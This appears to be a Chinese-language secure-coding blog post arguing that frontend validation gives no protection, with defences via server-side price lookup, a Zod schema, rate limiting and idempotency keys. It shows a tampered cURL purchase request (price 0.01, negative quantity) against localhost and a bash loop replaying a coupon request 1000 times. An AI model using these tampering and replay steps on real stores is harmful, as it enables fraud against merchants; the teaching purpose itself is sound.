第一步:打开DevTools Network 面板,正常点一次购买按钮。捕获到了这个请求。
第二步:请求上右键 -> 复制 -> cURL 格式复制。
![]()
这一步,我已经拿到了你发送请求的所有密钥:URL、Headers、Cookies、以及那个看似合法的 Data。
第三步:打开终端(Terminal),粘贴刚才复制的命令。但是,我并没有直接回车。
我修改了 --data-raw 里的参数:
- 把
"price": 999改成了"price": 0.01 - 或者把
"quantity": 1改成了"quantity": -100
# 经过魔改后的命令
curl 'http://localhost:3000/user/buy' \
-H 'Cookie: session_id=...' \
-H 'Content-Type: application/json' \
--data-raw '{"price": 0.01, "quantity": 10}' \
--compressed
回车!
服务器返回:{ "status": "success", "msg": ok!" }
恭喜你,你的前端验证毫发无损,但你的数据库已经被我击穿了。 我用 1 分钱买了 10 个商品,或者通过负数数量,反向刷了库存。
为什么前端验证, 防不了小人🤔
很多新人最大的误区,就是认为用户只能通过我的 UI 来访问我的服务器。
错!大错特错!
Web 的本质是 HTTP 协议。
HTTP 协议是无状态的、公开的。任何能够发送 HTTP 请求的客户端,都是你的用户。
- Chrome 是客户端。
-
cURL是客户端。 - Postman 是客户端。
- Python 的
requests脚本也是客户端。 - node 的
http脚本也是客户端
前端代码运行在用户的电脑上。
这意味着,用户拥有对前端代码的绝对控制权。
- 他可以禁用 JS。
- 他可以在 Console 里重写你的校验函数。
- 他可以拦截请求(用 Charles/Fiddler)并修改数据。
- 他甚至可以完全抛弃浏览器,直接用脚本轰炸你的 API。
所以,前端验证的唯一作用,是提升用户体验 (比如提示用户格式不对😂),而不是提供安全性😖。
后端该如何防御?(不要裸奔)
既然前端不可信,后端(或 BFF 层)就必须假设所有发过来的数据都是有毒的。
1. 永远不要相信 Payload 里的关键数据
前端只传 productId。后端拿到 ID 后,去数据库里查这个商品到底多少钱。永远以数据库为准。
2. 使用 Schema 校验库(Zod / Joi / class-validator)
不要在 Controller 里写一堆 if (req.body.age < 0)。
使用专业的 Schema 校验库,定义好数据的规则。
TypeScript代码👇:
// 使用 Zod 定义后端校验规则
const OrderSchema = z.object({
productId: z.string(),
// 强制要求 quantity 必须是正整数,拦截 -100 这种攻击
quantity: z.number().int().positive(),
// 注意:这里根本不接收 price 字段,防止被注入
});
// 如果校验失败,直接抛出 400 错误,逻辑根本进不去
const data = OrderSchema.parse(req.body);
3. 权限与状态校验
不要只看数据格式对不对,还要看人对不对。
- 这个用户有权限买这个商品吗?
- 这个订单现在的状态允许支付吗?(防止重复支付攻击🤔)
还有一种更高级的攻击:Replay Attack(重放攻击)
你以为校验了数据就安全了?
如果我拦截了你一次领优惠券的请求,虽然我改不了数据,但我可以用 cURL 连续运行 1000 次这个命令。
# 一个简单的循环,瞬间刷爆你的接口
for i in {1..1000}; do curl ... ; done
如果你的后端没有做幂等性(Idempotency)校验或频率限制(Rate Limiting) ,那我瞬间就能领走 1000 张优惠券。
防御手段👇:
- Redis 计数器:限制每个 IP/用户 每秒只能请求几次。
- 唯一 Request ID:对于关键操作,要求前端生成一个 UUID,后端处理完后记录下来。如果同一个 UUID 再次请求,直接拒绝。
对于前端安全,所有的输入都是可疑的🤔
作为全栈或后端开发者,当你写 API 时,请忘掉你那个漂亮的前端界面。
你的脑海里应该只有一幅画面:
![]()
屏幕对面,不是一个点鼠标的用户,而是一个正在敲 cURL 命令的黑客。
只有这样,你的代码才算真正安全了😒。